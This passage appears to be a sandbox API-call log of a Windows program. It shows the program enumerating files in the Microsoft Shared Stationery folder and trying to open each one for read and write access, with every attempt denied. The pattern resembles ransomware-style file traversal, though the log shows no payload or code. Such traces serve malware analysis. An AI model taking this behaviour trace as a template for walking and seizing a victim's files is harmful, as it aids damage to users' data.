GetLastError () returned 0x5 [0095.312] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4ebf151, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4ebf151, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44b2f4cb, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xb86, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notebook.jpg", cAlternateFileName="")) returned 1 [0095.312] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg") returned 70 [0095.313] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\notebook.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0095.316] GetLastError () returned 0x5 [0095.317] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce31efaf, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce31efaf, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce0e3b3c, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Orange Circles.htm", cAlternateFileName="")) returned 1 [0095.317] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Orange Circles.htm") returned 76 [0095.317] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Orange Circles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orange circles.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0095.317] GetLastError () returned 0x5 [0095.317] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce34510c, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce34510c, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa4cf00d, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x18ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="OrangeCircles.jpg", cAlternateFileName="")) returned 1 [0095.317] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\OrangeCircles.jpg") returned 75 [0095.317] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\OrangeCircles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orangecircles.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0095.317] GetLastError () returned 0x5 [0095.317] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce34510c, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce34510c, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce109c99, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Peacock.htm", cAlternateFileName="")) returned 1 [0095.317] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm") returned 69 [0095.318] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0095.319] GetLastError () returned 0x5 [0095.319] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3913c6, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3913c6, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa51b2c9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x13fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Peacock.jpg", cAlternateFileName="")) returned 1 [0095.319] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg") returned 69 [0095.319] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0095.320] GetLastError () returned 0x5 [0095.320] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4f0b40b, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4f0b40b, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44b55629, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xf8d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pine_Lumber.jpg", cAlternateFileName="")) returned 1 [0095.320] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pine_Lumber.jpg") returned 73 [0095.321] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pine_Lumber.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\pine_lumber.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0095.321] GetLastError () returned 0x5 [0095.321] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4f31568, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4f31568, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44bc7a43, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x13fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pretty_Peacock.jpg", cAlternateFileName="")) returned 1 [0095.321] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pretty_Peacock.jpg") returned 76 [0095.321] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pretty_Peacock.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\pretty_peacock.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0095.321] GetLastError () returned 0x5 [0095.321] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4f7d822, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4f7d822, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44bc7a43, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x36e1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Psychedelic.jpg", cAlternateFileName="")) returned 1 [0095.321] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Psychedelic.jpg") returned 73 [0095.321] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Psychedelic.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\psychedelic.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0095.323] GetLastError () returned 0x5 [0095.323] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3913c6, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3913c6, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce12fdf6, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Roses.htm", cAlternateFileName="")) returned 1 [0095.323] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm") returned 67 [0095.323] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0095.325] GetLastError () returned 0x5 [0095.325] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3b7523, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3b7523, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa567585, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x780, dwReserved0=0x0, dwReserved1=0x0, cFileName="Roses.jpg", cAlternateFileName="")) returned 1 [0095.325] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg") returned 67 [0095.325] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0095.326] GetLastError () returned 0x5 [0095.326] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc53cdfab, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc53cdfab, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x45148cd9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3da0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sand_Paper.jpg", cAlternateFileName="")) returned 1 [0095.326] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Sand_Paper.jpg") returned 72 [0095.327] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Sand_Paper.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\sand_paper.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0095.327] GetLastError () returned 0x5 [0095.327] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5277366, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5277366, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4516ee37, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x91c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Seyes.emf", cAlternateFileName="")) returned 1 [0095.327] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Seyes.emf") returned 67 [0095.327] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Seyes.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\seyes.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0095.327] GetLastError () returned 0x5 [0095.327] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3b7523, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3b7523, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce17c0b0, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shades of Blue.htm", cAlternateFileName="")) returned 1 [0095.327] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shades of Blue.htm") returned 76 [0095.327] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shades of Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shades of blue.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0095.328] GetLastError () returned 0x5 [0095.328] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3b7523, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3b7523, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa58d6e3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x127e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShadesOfBlue.jpg", cAlternateFileName="")) returned 1 [0095.328] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\ShadesOfBlue.jpg") returned 74 [0095.328] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\ShadesOfBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shadesofblue.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0095.329] GetLastError () returned 0x5 [0095.329] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc530f8da, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc530f8da, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x45194f95, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x13d8c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shorthand.emf", cAlternateFileName="")) returned 1 [0095.329] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shorthand.emf") returned 71 [0095.329] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shorthand.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shorthand.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0095.331] GetLastError () returned 0x5 [0095.331] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc541a265, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc541a265, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x451bb0f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x7c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Small_News.jpg", cAlternateFileName="")) returned 1 [0095.331] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Small_News.jpg") returned 72 [0095.331] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Small_News.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\small_news.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0095.331] GetLastError () returned 0x5 [0095.331] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3dd680, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3dd680, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce1a220d, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Soft Blue.htm", cAlternateFileName="")) returned 1 [0095.332] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Soft Blue.htm") returned 71 [0095.332] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Soft Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\soft blue.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0095.333] GetLastError () returned 0x5 [0095.333] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3dd680, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3dd680, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa5b3841, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2949, dwReserved0=0x0, dwReserved1=0x0, cFileName="SoftBlue.jpg", cAlternateFileName="")) returned 1 [0095.333] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\SoftBlue.jpg") returned 70 [0095.333] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\SoftBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\softblue.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0095.334] GetLastError () returned 0x5 [0095.334] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3dd680, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3dd680, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce1c836a, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stars.htm", cAlternateFileName="")) returned 1 [0095.334] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.htm") returned 67 [0095.335] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0095.335] GetLastError () returned 0x5 [0095.335] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce4037dd, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce4037dd, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa5ffafd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1d51, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stars.jpg", cAlternateFileName="")) returned 1 [0095.335] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.jpg") returned 67 [0095.335] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0095.337] GetLastError () returned 0x5 [0095.337] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc54403c2, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc54403c2, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x452797c9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x748, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stucco.gif", cAlternateFileName="")) returned 1 [0095.337] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stucco.gif") returned 68 [0095.337] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stucco.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stucco.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0095.337] GetLastError () returned 0x5 [0095.337] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc548c67c, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc548c67c, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4529f927, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xe42, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tanspecks.jpg", cAlternateFileName="")) returned 1 [0095.337] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tanspecks.jpg") returned 71 [0095.337] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tanspecks.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\tanspecks.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0095.339] GetLastError () returned 0x5 [0095.339] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc54b27d9, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc54b27d9, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4573c389, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x121e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tiki.gif", cAlternateFileName="")) returned 1 [0095.339] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tiki.gif") returned 66 [0095.339] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tiki.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\tiki.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0095.339] GetLastError () returned 0x5 [0095.339] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc535bb94, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc535bb94, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4573c389, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x6860, dwReserved0=0x0, dwReserved1=0x0, cFileName="To_Do_List.emf", cAlternateFileName="")) returned 1 [0095.339] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\To_Do_List.emf") returned 72 [0095.339] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\To_Do_List.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\to_do_list.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0095.339] GetLastError () returned 0x5 [0095.340] FindNextFileW (in: 